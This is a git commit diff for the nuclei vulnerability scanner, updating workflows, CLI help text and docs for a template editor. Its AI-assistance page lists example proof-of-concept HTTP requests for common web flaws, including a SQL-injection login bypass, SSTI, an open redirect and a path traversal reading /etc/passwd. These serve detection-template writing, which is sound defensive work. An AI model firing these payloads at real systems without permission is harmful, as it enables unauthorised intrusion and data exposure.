resolve merge conflicts

This commit is contained in:
Tarun Koyalwar 2023-09-13 20:28:48 +05:30
commit eec907a370
126 changed files with 8997 additions and 275 deletions

4
.github/release.yml vendored
View File

@ -3,10 +3,10 @@ changelog:
authors: authors:
- dependabot - dependabot
categories: categories:
- title: 🎉 Features - title: 🎉 New Features
labels: labels:
- "Type: Enhancement" - "Type: Enhancement"
- title: 🐞 Bugs - title: 🐞 Bug Fixes
labels: labels:
- "Type: Bug" - "Type: Bug"
- title: 🔨 Maintenance - title: 🔨 Maintenance

36
.github/workflows/performance-test.yaml vendored Normal file
View File

@ -0,0 +1,36 @@
name: 🔨 Performance Test
on:
workflow_dispatch:
schedule:
# Weekly
- cron: '0 0 * * 0'
jobs:
build:
name: Test Performance
strategy:
matrix:
go-version: [1.20.x]
os: [ubuntu-latest, macOS-latest]
runs-on: ${{ matrix.os }}
steps:
- name: Set up Go
uses: actions/setup-go@v4
with:
go-version: ${{ matrix.go-version }}
- name: Check out code
uses: actions/checkout@v3
- name: Go Mod hygine
run: |
go clean -modcache
go mod tidy
working-directory: v2/
# Max GH exection time 6H => timeout after that
- name: Running performance with big list
run: go run -race . -l ../functional-test/targets-150.txt
working-directory: v2/cmd/nuclei/

29
.github/workflows/release-test.yml vendored Normal file
View File

@ -0,0 +1,29 @@
name: 🔨 Release Test
on:
pull_request:
paths:
- '**.go'
- '**.mod'
workflow_dispatch:
jobs:
release-test:
runs-on: ubuntu-latest-16-cores
steps:
- name: "Check out code"
uses: actions/checkout@v3
with:
fetch-depth: 0
- name: Set up Go
uses: actions/setup-go@v4
with:
go-version: 1.20.x
- name: release test
uses: goreleaser/goreleaser-action@v4
with:
args: "release --clean --snapshot"
version: latest
workdir: v2/

2
.gitignore vendored
View File

@ -1,5 +1,6 @@
.idea .idea
.vscode .vscode
.devcontainer
v2/vendor v2/vendor
v2/dist v2/dist
integration_tests/nuclei integration_tests/nuclei
@ -16,3 +17,4 @@ v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject.class
v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject2.ser v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject2.ser
*.exe *.exe
v2/.gitignore v2/.gitignore
*.DS_Store

View File

@ -126,9 +126,9 @@ TEMPLATES:
-ntv, -new-templates-version string[] run new templates added in specific version -ntv, -new-templates-version string[] run new templates added in specific version
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping -as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
-t, -templates string[] list of template or template directory to run (comma-separated, file) -t, -templates string[] list of template or template directory to run (comma-separated, file)
-tu, -template-url string[] list of template urls to run (comma-separated, file) -turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file) -w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
-wu, -workflow-url string[] list of workflow urls to run (comma-separated, file) -wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
-validate validate the passed templates to nuclei -validate validate the passed templates to nuclei
-nss, -no-strict-syntax disable strict syntax check on templates -nss, -no-strict-syntax disable strict syntax check on templates
-td, -template-display displays the templates content -td, -template-display displays the templates content

View File

@ -93,37 +93,40 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
命令: 命令:
目标: 目标:
-u, -target string[] 指定扫描的URL/主机 -u, -target string[] 指定扫描的目标URL/主机(多个目标则指定多个-u参数
-l, -list string 指定需要扫描的URL/主机文件(一行一个) -l, -list string 指定包含要扫描的目标URL/主机列表的文件路径(一行一个)
-resume string 断点续扫(将禁用集群) -resume string 使用指定的resume.cfg文件恢复扫描将禁用请求聚类
-sa, -scan-all-ips 扫描由目标解析出来的所有IP针对域名对应多个IP的情况
-iv, -ip-version string[] 要扫描的主机名的IP版本4,6-默认为4
模板: 模板:
-nt, -new-templates 只扫描最新版本中添加的模板 -nt, -new-templates 只扫描最新nuclei-templates版本中添加的模板
-ntv, -new-templates-version string[] 运行在特定版本中添加的新模板 -ntv, -new-templates-version string[] 运行在特定nuclei-templates版本中添加的新模板
-as, -automatic-scan 在自动web扫描中使用wappalyzer技术检测的指纹 -as, -automatic-scan 在web扫描中使用wappalyzer技术检测的指纹找包含对应tags的模板
-t, -templates string[] 指定需要扫描的模板或者模板的路径(逗号分隔,文件) -t, -templates string[] 指定需要扫描的模板文件或者模板目录(逗号分隔,文件)
-tu, -template-url string[] 从URL加载模板逗号分隔文件 -tu, -template-url string[] 从URL加载模板逗号分隔文件
-w, -workflows string[] 指定扫描中的工作流或者工作流目录(逗号分隔,文件) -w, -workflows string[] 指定需要扫描中的工作流文件或者工作流目录(逗号分隔,文件)
-wu, -workflow-url string[] 从URL加载工作流逗号分隔文件 -wu, -workflow-url string[] 从URL加载工作流逗号分隔文件
-validate 验证通过的模板 -validate 验证模板
-nss, -no-strict-syntax 禁用模板的严格检查 -nss, -no-strict-syntax 禁用对模板的严格语法检查
-td, -template-display 显示模板内容
-tl 列出所有可用的模板 -tl 列出所有可用的模板
过滤: 过滤:
-a, -author string[] 执行指定作者的模板(逗号分隔,文件) -a, -author string[] 执行指定作者的模板(逗号分隔,文件)
-tags string[] 执行有标记的模板子集(逗号分隔,文件) -tags string[] 执行带指定tag的模板(逗号分隔,文件)
-etags, -exclude-tags string[] 执行标记为排除的模板(逗号分隔,文件) -etags, -exclude-tags string[] 排除带指定tag的模板(逗号分隔,文件)
-itags, -include-tags string[] 执行默认或者配置排除的标记模板 -itags, -include-tags string[] 执行带有指定tag的模板即使是被默认或者配置排除的模板
-id, -template-id string[] 执行指定ID的模板(逗号分隔,文件) -id, -template-id string[] 执行指定id的模板(逗号分隔,文件)
-eid, -exclude-id string[] 执行排除指定ID的模板(逗号分隔,文件) -eid, -exclude-id string[] 排除指定id的模板(逗号分隔,文件)
-it, -include-templates string[] 执行默认或配置排除的模板 -it, -include-templates string[] 执行指定模板,即使是被默认或配置排除的模板
-et, -exclude-templates string[] 要排除的模板或者模板目录(逗号分隔,文件) -et, -exclude-templates string[] 排除指定模板或者模板目录(逗号分隔,文件)
-em, -exclude-matchers string[] 在结果中排除指定模板 -em, -exclude-matchers string[] 排除指定模板matcher
-s, -severity value[] 根据严重程度运行模板,可值有info,low,medium,high,critical -s, -severity value[] 根据严重程度运行模板可选值有info,low,medium,high,critical
-es, -exclude-severity value[] 根据严重程度排除模板,可值有info,low,medium,high,critical -es, -exclude-severity value[] 根据严重程度排除模板可选值有info,low,medium,high,critical
-pt, -type value[] 根据协议运行模板,可候选的值有dns, file, http, headless, network, workflow, ssl, websocket, whois -pt, -type value[] 根据类型运行模板,可选值有dns, file, http, headless, network, workflow, ssl, websocket, whois
-ept, -exclude-type value[] 根据协议排除模板,可候选的值有dns, file, http, headless, network, workflow, ssl, websocket, whois -ept, -exclude-type value[] 根据类型排除模板,可选值有dns, file, http, headless, network, workflow, ssl, websocket, whois
-tc, -template-condition string[] 根据表达式运行模板 -tc, -template-condition string[] 根据表达式运行模板
输出: 输出:
@ -132,40 +135,51 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
-srd, -store-resp-dir string 将nuclei的所有请求和响应输出到指定目录默认output -srd, -store-resp-dir string 将nuclei的所有请求和响应输出到指定目录默认output
-silent 只显示结果 -silent 只显示结果
-nc, -no-color 禁用输出内容着色ANSI转义码 -nc, -no-color 禁用输出内容着色ANSI转义码
-j, -jsonl 输出为jsonLines -j, -jsonl 输出格式为jsonLines
-irr, -include-rr 在JSONL中输出对应的请求和相应仅结果 -irr, -include-rr 在JSON、JSONL和Markdown中输出请求/响应对(仅结果)[已弃用,使用-omit-raw替代]
-or, -omit-raw -or, -omit-raw 在JSON、JSONL和Markdown中不输出请求/响应对
-nm, -no-meta 不显示匹配的元数据 -nm, -no-meta 在cli输出中不打印元数据
-nts, -no-timestamp 不在输出中显示时间戳 -ts, -timestamp 在cli输出中打印时间戳
-rdb, -report-db string 本地的Nuclei结果数据库始终使用该数据库保存结果 -rdb, -report-db string 本地的nuclei结果数据库始终使用该数据库保存结果
-ms, -matcher-status 显示匹配失败状态 -ms, -matcher-status 显示匹配失败状态
-me, -markdown-export string 以markdown导出结果 -me, -markdown-export string 以markdown格式导出结果
-se, -sarif-export string 以SARIF导出结果 -se, -sarif-export string 以SARIF格式导出结果
-je, -json-export string 以JSON格式导出结果
-jle, -jsonl-export string 以JSONL(ine)格式导出结果
配置: 配置:
-config string 指定Nuclei的配置文件 -config string 指定nuclei的配置文件
-fr, -follow-redirects 为HTTP模板启用重定向 -fr, -follow-redirects 为HTTP模板启用重定向
-fhr, -follow-host-redirects 在同一主机上重定向 -fhr, -follow-host-redirects 允许在同一主机上重定向
-mr, -max-redirects int HTTP模板最大重定向次数默认10 -mr, -max-redirects int HTTP模板最大重定向次数默认10
-dr, -disable-redirects 为HTTP模板禁用重定向 -dr, -disable-redirects 为HTTP模板禁用重定向
-rc, -report-config string 指定Nuclei报告模板文件 -rc, -report-config string 指定nuclei报告模板文件
-H, -header string[] 指定header、cookie以header:value的方式cli文件 -H, -header string[] 指定在所有http请求中包含的自定义header、cookie以header:value的格式指定cli文件
-V, -var value 通过key=value指定var值 -V, -var value 以key=value格式自定义变量
-r, -resolvers string 指定Nuclei的解析文件 -r, -resolvers string 指定包含DNS解析服务列表的文件
-sr, -system-resolvers 当DNS错误时使用系统DNS -sr, -system-resolvers 当DNS错误时使用系统DNS解析服务
-passive 启用被动扫描处理HTTP响应 -dc, -disable-clustering 关闭请求聚类功能
-ev, env-vars 在模板中使用环境变量 -passive 启用被动模式处理本地HTTP响应数据
-fh2, -force-http2 强制使用http2连接
-ev, env-vars 启用在模板中使用环境变量
-cc, -client-cert string 用于对扫描的主机进行身份验证的客户端证书文件PEM 编码) -cc, -client-cert string 用于对扫描的主机进行身份验证的客户端证书文件PEM 编码)
-ck, -client-key string 用于对扫描的主机进行身份验证的客户端密钥文件PEM 编码) -ck, -client-key string 用于对扫描的主机进行身份验证的客户端密钥文件PEM 编码)
-ca, -client-ca string 用于对扫描的主机进行身份验证的客户端证书颁发机构文件PEM 编码) -ca, -client-ca string 用于对扫描的主机进行身份验证的客户端证书颁发机构文件PEM 编码)
-sml, -show-match-line 显示文件模板的匹配值,只适用于提取器 -sml, -show-match-line 显示文件模板的匹配值,只适用于提取器
-ztls 对ztls自动退回到tls13 -ztls 使用ztls库带有自动回退到标准库tls13 [已弃用] 默认情况下启用对ztls的自动回退
-sni string 指定tls sni的主机名默认为输入的域名 -sni string 指定tls sni的主机名默认为输入的域名
-i, -interface string 指定网卡 -lfa, -allow-local-file-access 允许访问本地文件payload文件
-sip, -source-ip string 指定源IP -lna, -restrict-local-network-access 阻止对本地/私有网络的连接
-config-directory string 重写默认配置路径($home/.config -i, -interface string 指定用于网络扫描的网卡
-at, -attack-type string payload的组合模式batteringram,pitchfork,clusterbomb
-sip, -source-ip string 指定用于网络扫描的源IP
-config-directory string 覆盖默认配置路径($home/.config
-rsr, -response-size-read int 最大读取响应大小默认10485760字节 -rsr, -response-size-read int 最大读取响应大小默认10485760字节
-rss, -response-size-save int 最大储存响应大小默认10485760字节 -rss, -response-size-save int 最大储存响应大小默认1048576字节
-reset 删除所有nuclei配置和数据文件包括nuclei-templates
-tlsi, -tls-impersonate 启用实验性的Client Helloja3TLS 随机化功能
交互: 交互:
-inserver, -ineractsh-server string 使用interactsh反连检测平台默认为oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me -inserver, -ineractsh-server string 使用interactsh反连检测平台默认为oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me
@ -176,6 +190,21 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
-interactions-cooldown-period int 退出轮询前的等待时间默认为5秒 -interactions-cooldown-period int 退出轮询前的等待时间默认为5秒
-ni, -no-interactsh 禁用反连检测平台,同时排除基于反连检测的模板 -ni, -no-interactsh 禁用反连检测平台,同时排除基于反连检测的模板
模糊测试:
-ft, -fuzzing-type string 覆盖模板中设置的模糊测试类型replace、prefix、postfix、infix
-fm, -fuzzing-mode string 覆盖模板中设置的模糊测试模式multiple、single
UNCOVER引擎:
-uc, -uncover 启动uncover引擎
-uq, -uncover-query string[] uncover查询语句
-ue, -uncover-engine string[] 指定uncover查询引擎 shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow (默认 shodan
-uf, -uncover-field string 查询字段 ip,port,host (默认 "ip:port"
-ul, -uncover-limit int 查询结果数 (默认 100
-ur, -uncover-ratelimit int 查询速率默认每分钟60个请求默认 60
限速: 限速:
-rl, -rate-limit int 每秒最大请求量默认150 -rl, -rate-limit int 每秒最大请求量默认150
-rlm, -rate-limit-minute int 每分钟最大请求量 -rlm, -rate-limit-minute int 每分钟最大请求量
@ -196,13 +225,16 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
-project-path string 设置特定的项目文件夹 -project-path string 设置特定的项目文件夹
-spm, -stop-at-first-path 得到一个结果后停止(或许会中断模板和工作流的逻辑) -spm, -stop-at-first-path 得到一个结果后停止(或许会中断模板和工作流的逻辑)
-stream 流模式 - 在不整理输入的情况下详细描述 -stream 流模式 - 在不整理输入的情况下详细描述
-ss, -scan-strategy value 扫描时使用的策略auto/host-spray/template-spray (默认 auto
-irt, -input-read-timeout duration 输入读取超时时间默认3分钟 -irt, -input-read-timeout duration 输入读取超时时间默认3分钟
-nh, -no-httpx 禁用对非URL输入进行httpx探测
-no-stdin 禁用标准输入 -no-stdin 禁用标准输入
无界面浏览器: 无界面浏览器:
-headless 启用需要无界面浏览器的模板 -headless 启用需要无界面浏览器的模板
-page-timeout int 在无界面下超时秒数默认20 -page-timeout int 在无界面下超时秒数默认20
-sb, -show-brower 在无界面浏览器运行模板时,显示浏览器 -sb, -show-brower 在无界面浏览器运行模板时,显示浏览器
-ho, -headless-options string[] 使用附加选项启动无界面浏览器
-sc, -system-chrome 不使用Nuclei自带的浏览器使用本地浏览器 -sc, -system-chrome 不使用Nuclei自带的浏览器使用本地浏览器
-lha, -list-headless-action 列出可用的无界面操作 -lha, -list-headless-action 列出可用的无界面操作
@ -216,26 +248,51 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
-tlog, -trace-log string 写入跟踪日志到文件 -tlog, -trace-log string 写入跟踪日志到文件
-elog, -error-log string 写入错误日志到文件 -elog, -error-log string 写入错误日志到文件
-version 显示版本信息 -version 显示版本信息
-hm, -hang-monitor 启用Nuclei的监控 -hm, -hang-monitor 启用对nuclei挂起协程的监控
-v, -verbose 显示详细信息 -v, -verbose 显示详细信息
-profile-mem string 将Nuclei的内存转储成文件 -profile-mem string 将Nuclei的内存转储成文件
-vv 显示额外的详细信息 -vv 显示额外的详细信息
-svd, -show-var-dump 显示用于调试的变量输出
-ep, -enable-pprof 启用pprof调试服务器 -ep, -enable-pprof 启用pprof调试服务器
-tv, -templates-version 显示已安装的模板版本 -tv, -templates-version 显示已安装的模板版本
-hc, -health-check 运行诊断检查 -hc, -health-check 运行诊断检查
升级: 升级:
-update 更新Nuclei到最新版本 -up, -update 更新Nuclei到最新版本
-ut, -update-templates 更新Nuclei模板到最新版 -ut, -update-templates 更新Nuclei模板到最新版
-ud, -update-directory string 覆盖安装模板 -ud, -update-template-dir string 指定模板目录
-duc, -disable-update-check 禁用更新 -duc, -disable-update-check 禁用nuclei程序与模板更新
统计: 统计:
-stats 显示正在扫描的统计信息 -stats 显示正在扫描的统计信息
-sj, -stats-json 将统计信息以JSONL格式输出到文件 -sj, -stats-json 将统计信息以JSONL格式输出到文件
-si, -stats-inerval int 显示统计信息更新的间隔秒数默认5 -si, -stats-inerval int 显示统计信息更新的间隔秒数默认5
-m, -metrics 显示Nuclei端口信息 -m, -metrics 开启metrics服务
-mp, -metrics-port int 更改Nuclei默认端口默认9092 -mp, -metrics-port int 更改metrics服务的端口默认9092
云服务:
-cloud 在nuclei云上运行扫描
-ads, -add-datasource string 添加指定的数据源s3、github
-atr, -add-target string 向云中添加目标
-atm, -add-template string 向云中添加模板
-lsn, -list-scan 列出先前的云扫描
-lso, -list-output string 按扫描ID列出扫描输出
-ltr, -list-target 按ID列出云目标
-ltm, -list-template 按ID列出云模板
-lds, -list-datasource 按ID列出云数据源
-lrs, -list-reportsource 列出报告源
-dsn, -delete-scan string 按ID删除云扫描
-dtr, -delete-target string 从云中删除目标
-dtm, -delete-template string 从云中删除模板
-dds, -delete-datasource string 删除指定的数据源
-drs, -disable-reportsource string 禁用指定的报告源
-ers, -enable-reportsource string 启用指定的报告源
-gtr, -get-target string 按ID获取目标内容
-gtm, -get-template string 按ID获取模板内容
-nos, -no-store 禁用云上的扫描/输出存储
-no-tables 不显示漂亮打印的表格
-limit int 限制要显示的输出数量(默认 100
``` ```
### 运行Nuclei ### 运行Nuclei

View File

@ -492,6 +492,35 @@ description: Subversion ALM for the enterprise before 8.8.2 allows reflected XSS
``` ```
</div>
<hr />
<div class="dd">
<code>impact</code> <i>string</i>
</div>
<div class="dt">
Impact of the template.
You can go in-depth here on impact of the template.
Examples:
```yaml
impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
```
```yaml
impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
```
</div> </div>
<hr /> <hr />
@ -2421,6 +2450,35 @@ Inputs contains inputs for the network socket
<div class="dd"> <div class="dd">
<code>port</code> <i>string</i>
</div>
<div class="dt">
description: |
Port is the port to send network requests to. this acts as default port but is overriden if target/input contains
non-http(s) ports like 80,8080,8081 etc
</div>
<hr />
<div class="dd">
<code>exclude-ports</code> <i>string</i>
</div>
<div class="dt">
description: |
ExcludePorts is the list of ports to exclude from being scanned . It is intended to be used with `Port` field and contains a list of ports which are ignored/skipped
</div>
<hr />
<div class="dd">
<code>read-size</code> <i>int</i> <code>read-size</code> <i>int</i>
</div> </div>

265
docs/editor/ai.mdx Normal file
View File

@ -0,0 +1,265 @@
---
title: 'AI Assistance'
---
<img src="/images/ai.jpg" alt="AI Prompt" width="800px"/>
[Nuclei Template Editor](https://templates.nuclei.sh/) has AI to generate templates for vulnerability reports. This document helps to guide you through the process, offering you usage tips and examples.
## Overview
Powered by public Nuclei templates and a rich CVE data set, the AI understands a broad array of security vulnerabilities. First, the system interprets the user's prompt to identify a specific vulnerability. Then, it generates a template based on the steps required to reproduce the vulnerability along with all the necessary meta information to reproduce and remediate.
---
## Initial Setup
Kick start your AI Assistance experience with these steps:
1. **Provide Detailed Information**: Construct comprehensive Proof of Concepts (PoCs) for vulnerabilities like Cross-Site Scripting (XSS), and others.
2. **Understand the Template Format**: Get to grips with the format to appropriately handle and modify the generated template.
3. **Validation and Linting**: Utilize the integrated linter to guarantee the template's validity.
4. **Test the Template**: Evaluate the template against a test target ensuring its accuracy.
---
## Best Practices
* **Precision Matters**: Detailed prompts yield superior templates.
* **Review and Validate**: Consistently check matchers' accuracy.
* **Template Verification**: Validate the template on known vulnerable targets before deployment.
---
## Example Prompts
The following examples demonstrate different vulnerabilities and the corresponding Prompt.
<Accordion title="Vulnerability: Open Redirect">
Open redirect vulnerability identified in a web application. Here's the PoC:
HTTP Request:
```
GET /redirect?url=http://malicious.com HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
```
HTTP Response:
```
HTTP/1.1 302 Found
Location: http://malicious.com
Content-Length: 0
Server: Apache
```
The application redirects the user to the URL specified in the url parameter, leading to an open redirect vulnerability.
</Accordion>
<Accordion title="Vulnerability: SQL Injection">
SQL Injection vulnerability in a login form. Here's the PoC:
HTTP Request:
```
POST /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
username=admin&password=' OR '1'='1
```
HTTP Response:
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1337
Server: Apache
<html>
...
<p>Welcome back, admin</p>
...
</html>
```
The application improperly handles user input in the password field, leading to an SQL Injection vulnerability.
</Accordion>
<Accordion title="Vulnerability: Business logic (negative cart balance)">
Business Logic vulnerability in a web application's shopping cart function allows for negative quantities, leading to credit. Here's the PoC:
HTTP Request:
```
POST /add-to-cart HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
product_id=1001&quantity=-1
```
HTTP Response:
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1337
Server: Apache
<html>
...
<p>Product added to cart. Current balance: -$19.99</p>
...
</html>
```
The application fails to validate the quantity parameter, resulting in a Business Logic vulnerability.
</Accordion>
<Accordion title="Vulnerability: Server-side Template Injection (SSTI)">
Server-side Template Injection (SSTI) vulnerability through a web application's custom greeting card function. Here's the PoC:
```
HTTP Request:
POST /create-card HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
message={{7*7}}
```
```
HTTP Response:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1337
Server: Apache
<html>
...
<p>Your card: 49</p>
...
</html>
```
The application processes the message parameter as a template, leading to an SSTI vulnerability.
</Accordion>
<Accordion title="Vulnerability: Insecure Direct Object Reference (IDOR)">
Insecure Direct Object Reference (IDOR) vulnerability discovered in a website's user profile page. Here's the PoC:
```
HTTP Request:
GET /profile?id=2 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: session=abcd1234
```
```
HTTP Response:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1337
Server: Apache
<html>
...
<p>Welcome, otheruser</p>
...
</html>
```
The application exposes sensitive information of a user (ID: 2) who is not the authenticated user (session: abcd1234), leading to an IDOR vulnerability.
</Accordion>
<Accordion title="Vulnerability: Path Traversal">
Path Traversal vulnerability identified in a web application's file download function. Here's the PoC:
```
HTTP Request:
GET /download?file=../../etc/passwd HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
```
```
HTTP Response:
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 1827
Server: Apache
root:x:0:0:root:/root:/bin/bash
```
The application fetches the file specified in the file parameter from the server file system, leading to a Path Traversal vulnerability.
</Accordion>
<Accordion title="Vulnerability: Business logic (extend VIP subscription)">
Business logic vulnerability in a web application's VIP subscription function allows users to extend the trial period indefinitely. Here's the PoC:
```
HTTP Request:
POST /extend-trial HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: session=abcd1234
```
```
HTTP Response:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1337
Server: Apache
<html>
<p>Your VIP trial period has been extended by 7 days.</p>
</html>
```
The application does not limit the number of times the trial period can be extended, leading to a business logic vulnerability.
</Accordion>
Each of these examples provides HTTP Requests and Responses to illustrate the vulnerabilities.
---
## Limitations
Please note that the current AI is trained primarily on HTTP data. Template generation for non-HTTP protocols is not supported at this time. Support for additional protocols is under development and will be available soon.
---

View File

@ -0,0 +1,43 @@
---
title: 'Introduction'
---
![Templates Editor](/images/editor.jpg)
[Nuclei Template Editor](https://templates.nuclei.sh) is a multi-functional cloud hosted tool designed for creating, running, and sharing Nuclei Templates. It's packed with helpful features for individual and professional users seeking to manage and execute templates.
The following table showcases the current and upcoming features:
| Feature | Description and Use | Availability |
| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------- |
| **Editor** | Experience something akin to using VS Code with our integrated editor, built on top of Monaco. This feature allows easy writing and modification of Nuclei Templates. | Free |
| **Optimizer** | Leverage the in-built TemplateMan API to automatically lint, format, validate, and enhance your Nuclei Templates. | Free |
| **Scan (URL)** | Run your templates on a targeted URL to check their validity. | Free \* |
| **Debugger** | Utilize the in-built debugging function that displays requests and responses of your template scans, aiding troubleshooting and understanding template behavior. | Free |
| **Cloud Storage** | Store and access your Nuclei Templates securely anytime, anywhere using your account. | Free |
| **Sharing** | Share your templates for better collaboration by generating untraceable unique links. | Free |
| **AI-Assistance** | Employ AI to craft Nuclei Templates based on the context of specified vulnerabilities. This feature simplifies template creation and tailors them to minimize the time required for creation. | Free \* |
| **Scan (LIST, CIDR, ASN)**| In the professional version, run scans on target lists, network ranges (CIDR), AS numbers (ASN). | Professional `(upcoming)` |
| **REST API** | In the professional version, fetch templates, call the AI, and perform scans remotely using APIs. | Professional `(upcoming)` |
| **PDCP Sync** | Sync your generated templates with the ProjectDiscovery Cloud Platform for easy access and management, available in the professional version. | Professional `(upcoming)` |
## Free Feature Limitations
Some features available within the free tier have usage caps in place:
- **Scan (URL):** You're allowed up to **100** scans daily.
- **AI-Assistance:** Up to **10** queries can be made each day.
The limitations, reset daily, ensure system integrity and availability while providing access to key functions.
***
## How to Get Started
Begin by ensuring you have an account. If not, sign up on [https://templates.nuclei.sh](https://templates.nuclei.sh/) and follow the steps below:
1. Log in to your account at [https://templates.nuclei.sh](https://templates.nuclei.sh).
2. Click on the "**Create new template**" button to open up a fresh editor.
3. Write and modify your template. The editor avails tools like syntax highlighting, snippet suggestion, among other features to simplify your writing process.
4. Having written your template, input your testing target and click the "**Scan**" button to authenticate your template's accuracy.
<iframe src="https://templates.nuclei.sh/public/CVE-2023-0297" width="700px" height="700px"></iframe>

23
docs/editor/share.mdx Normal file
View File

@ -0,0 +1,23 @@
---
title: 'Template Share'
---
Nuclei Template Editor offers the ability to share any public templates, including the ones you create.
<img src="/images/share-template.jpg" alt="Share Template" width="800px" />
To share a template, click on the "Share" button which generates a link that can be sent to others.
## How to Share Public Templates
Public templates are designed for ease of sharing. You don't need to be authenticated to share them, meaning there's no need to log in. These templates are mapped with their Template ID, following a static URL pattern. For instance, a public template URL might resemble this: [https://templates.nuclei.sh/public/CVE-2023-35078](https://templates.nuclei.sh/public/CVE-2023-35078). In the given URL, `CVE-2023-35078` is the Template ID representing the template in the [nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) project.
## How to Share User Templates
User templates, unlike public templates, require authentication for sharing. These templates are assigned a unique, UUID-based ID similar to YouTube's unlisted URLs for sharing purposes. This means anyone given the shared URL will be able to access the template.
## Revoking Access to Shared Templates
If at any point you want to limit the access to the shared template, it is as simple as changing the visibility of the template to private. After this change, the originally shared link will become inactive. However, you have the flexibility to share it again, which would generate a new unique ID.
Please remember, while sharing is easy, it's important to distribute the URL cautiously as the link allows full access to the shared template.

20
docs/editor/shortcut.mdx Normal file
View File

@ -0,0 +1,20 @@
---
title: 'Editor Shortcut'
---
Nuclei Template Editor is equipped with keyboard shortcuts to make your work process more efficient. You can utilize these shortcuts whether you're creating a new template or optimizing an existing one, enabling quicker actions without interfering with your workflow.
Here is a list of the actions, along with their corresponding shortcut keys and descriptions:
| **Action** | **Shortcut Key** | **Description** |
| ---------------------- | ----------------------- | ----------------------------------------------------- |
| Save Template | **CMD + S** | Saves the current template. |
| Duplicate Template | **CMD + D** | Creates a copy of a public template. |
| Execute Template | **CMD + SHIFT + SPACE** | Run a scan with the current template. |
| Share Template Link | **ALT + SHIFT + SPACE** | Generates a URL for sharing the current template. |
| Search Templates | **CMD + K** | Searches within your own templates. |
| Copy Template | **CMD + SHIFT + C** | Copies the selected template to your clipboard. |
| Show/Hide Side Bar | **CMD + B** | Toggles the visibility of the side bar. |
| Show/Hide Debug Panel | **CMD + SHIFT + M** | Toggles the visibility of the debug panel for extra insight. |
**Note:** For Mac users, the CMD key is used for these shortcuts. Non-Mac users (Windows and Linux) should use the CTRL key instead.

12
docs/faq/editor.mdx Normal file
View File

@ -0,0 +1,12 @@
---
title: 'Editor'
---
### **Q: Who owns the templates generated by the AI?**
**A:** You own any templates generated by the AI through the Nuclei Templates Editor. They are your property, and you are granted a perpetual license to use and modify them as you see fit.
### **Q: How accurate are the templates generated by the AI?**
**A:** The accuracy of the generated templates is primarily dependent on the detail and specificity of the input you provide. The more detailed information you supply, the better the AI can understand the context and create an accurate template. However, as with any AI tool, it is highly recommended to review, validate, and test any generated templates before using them in a live environment.
### **Q: Does AI learn from the templates I generate?**
**A:** No, AI does not use the templates you generate for further training or improvement of the AI model. The system only utilizes public templates and CVE data for training, ensuring your unique templates remain confidential.

130
docs/faq/nuclei.mdx Normal file
View File

@ -0,0 +1,130 @@
---
title: "Nuclei"
---
<AccordionGroup>
<Accordion title="What is nuclei?" icon="circle-info" iconType="solid">
Nuclei is a fast and customizable vulnerability scanner based on simple **YAML-based templates**.
It has two components, 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - the core of the project allows scripting HTTP / DNS / Network / Headless / File protocols based checks in a very simple to read-and-write YAML-based format. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - ready-to-use **community-contributed** vulnerability templates.
</Accordion>
<Accordion title="What was the genesis behind nuclei?" icon="circle-info" iconType="solid">
Traditional scanners always lacked the features to allow easy-to-write custom checks on top of their engine. And this is why we started developing Nuclei with a core focus on simplicity, modularity, and the ability to scan on many assets.
We wanted something simple enough to be used by _**everyone**_ while complex enough to integrate into the modern web with its intricacies. The features implemented in nuclei are tailored to allow very rapid prototyping of complex security checks.
</Accordion>
<Accordion title="What modules does nuclei engine support?" icon="circle-info" iconType="solid">
Nuclei engine supports the following type of modules.
- [HTTP](/template-guide/http/base-http/)
- [DNS](/template-guide/dns/)
- [TCP](/template-guide/network/)
- [FILE](/template-guide/file/)
</Accordion>
<Accordion title="What kind of scans can I perform with nuclei?" icon="circle-info" iconType="solid">
Nuclei can be used to detect security vulnerabilities in **Web Applications**, **Networks**, **DNS** based misconfiguration, and **Secrets scanning** in source code or files on the local file system.
</Accordion>
<Accordion title="How well-maintained is this project?" icon="circle-info" iconType="solid">
The nuclei project is actively developed and maintained by the [ProjectDiscovery](https://projectdiscovery.io/#/) team, and generally releases every 2 weeks.
</Accordion>
